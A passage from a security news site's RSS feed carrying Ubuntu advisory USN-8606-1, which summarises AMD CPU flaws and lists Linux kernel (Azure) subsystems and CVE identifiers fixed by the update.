CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46169, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46176, CVE-2026-46177, CVE-2026-46178, CVE-2026-46179,
CVE-2026-46180, CVE-2026-46184, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46204,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46207, CVE-2026-46208,
CVE-2026-46209, CVE-2026-46211, CVE-2026-46212, CVE-2026-46214,
CVE-2026-46218, CVE-2026-46219, CVE-2026-46220, CVE-2026-46225,
CVE-2026-46226, CVE-2026-46227, CVE-2026-46229, CVE-2026-46230,
CVE-2026-46231, CVE-2026-46232, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46235, CVE-2026-46236, CVE-2026-46238, CVE-2026-46241,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46280, CVE-2026-46282,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46291,
CVE-2026-46292, CVE-2026-46293, CVE-2026-46294, CVE-2026-46296,
CVE-2026-46299, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46312, CVE-2026-46314,
CVE-2026-46319, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8606-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:41 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40005, CVE-2025-40135, CVE-2025-40150, CVE-2025-68175,
CVE-2025-68239, CVE-2025-68334, CVE-2025-68736, CVE-2025-71152,
CVE-2025-71161, CVE-2025-71203, CVE-2025-71221, CVE-2025-71229,
CVE-2025-71231, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71269,
CVE-2025-71272, CVE-2025-71273, CVE-2025-71274, CVE-2025-71286,
CVE-2025-71287, CVE-2025-71288, CVE-2025-71291, CVE-2025-71292,
CVE-2025-71294, CVE-2025-71295, CVE-2025-71297, CVE-2025-71304,
CVE-2025-71305, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23100, CVE-2026-23104,
CVE-2026-23118, CVE-2026-23138, CVE-2026-23154, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23171, CVE-2026-23207, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23226, CVE-2026-23227,
CVE-2026-23228, CVE-2026-23229, CVE-2026-23230, CVE-2026-23233,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23244, CVE-2026-23245, CVE-2026-23246, CVE-2026-23249,
CVE-2026-23253, CVE-2026-23255, CVE-2026-23266, CVE-2026-23267,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23272, CVE-2026-23276,
CVE-2026-23277, CVE-2026-23278, CVE-2026-23279, CVE-2026-23281,
CVE-2026-23284, CVE-2026-23285, CVE-2026-23286, CVE-2026-23287,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23292,
CVE-2026-23293, CVE-2026-23296, CVE-2026-23298, CVE-2026-23300,
CVE-2026-23302, CVE-2026-23303, CVE-2026-23304, CVE-2026-23306,
CVE-2026-23307, CVE-2026-23308, CVE-2026-23310, CVE-2026-23312,
CVE-2026-23313, CVE-2026-23315, CVE-2026-23317, CVE-2026-23318,
CVE-2026-23319, CVE-2026-23321, CVE-2026-23324, CVE-2026-23325,
CVE-2026-23330, CVE-2026-23334, CVE-2026-23335, CVE-2026-23336,
CVE-2026-23339, CVE-2026-23340, CVE-2026-23343, CVE-2026-23347,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23360, CVE-2026-23361, CVE-2026-23362, CVE-2026-23363,
CVE-2026-23364, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23369, CVE-2026-23370, CVE-2026-23372, CVE-2026-23374,
CVE-2026-23375, CVE-2026-23378, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23383, CVE-2026-23386, CVE-2026-23387,
CVE-2026-23388, CVE-2026-23389, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23412, CVE-2026-23413,
CVE-2026-23414, CVE-2026-23418, CVE-2026-23419, CVE-2026-23420,
CVE-2026-23426, CVE-2026-23428, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23450, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23455, CVE-2026-23456, CVE-2026-23457, CVE-2026-23458,
CVE-2026-23460, CVE-2026-23461, CVE-2026-23462, CVE-2026-23463,
CVE-2026-23464, CVE-2026-23465, CVE-2026-23468, CVE-2026-23470,
CVE-2026-23474, CVE-2026-23475, CVE-2026-31389, CVE-2026-31391,
CVE-2026-31392, CVE-2026-31393, CVE-2026-31394, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31402, CVE-2026-31403,
CVE-2026-31405, CVE-2026-31407, CVE-2026-31408, CVE-2026-31409,
CVE-2026-31411, CVE-2026-31412, CVE-2026-31414, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31418, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31436, CVE-2026-31438, CVE-2026-31439, CVE-2026-31440,
CVE-2026-31441, CVE-2026-31446, CVE-2026-31447, CVE-2026-31448,
CVE-2026-31449, CVE-2026-31450, CVE-2026-31451, CVE-2026-31452,
CVE-2026-31453, CVE-2026-31454, CVE-2026-31455, CVE-2026-31458,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31470, CVE-2026-31473, CVE-2026-31474, CVE-2026-31476,
CVE-2026-31477, CVE-2026-31478, CVE-2026-31480, CVE-2026-31482,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31487, CVE-2026-31488,
CVE-2026-31489, CVE-2026-31492, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31496, CVE-2026-31497, CVE-2026-31498, CVE-2026-31499,
CVE-2026-31500, CVE-2026-31502, CVE-2026-31503, CVE-2026-31505,
CVE-2026-31506, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31607,
CVE-2026-31610, CVE-2026-31611, CVE-2026-31612, CVE-2026-31613,
CVE-2026-31615, CVE-2026-31616, CVE-2026-31617, CVE-2026-31618,
CVE-2026-31619, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31634, CVE-2026-31637, CVE-2026-31638,
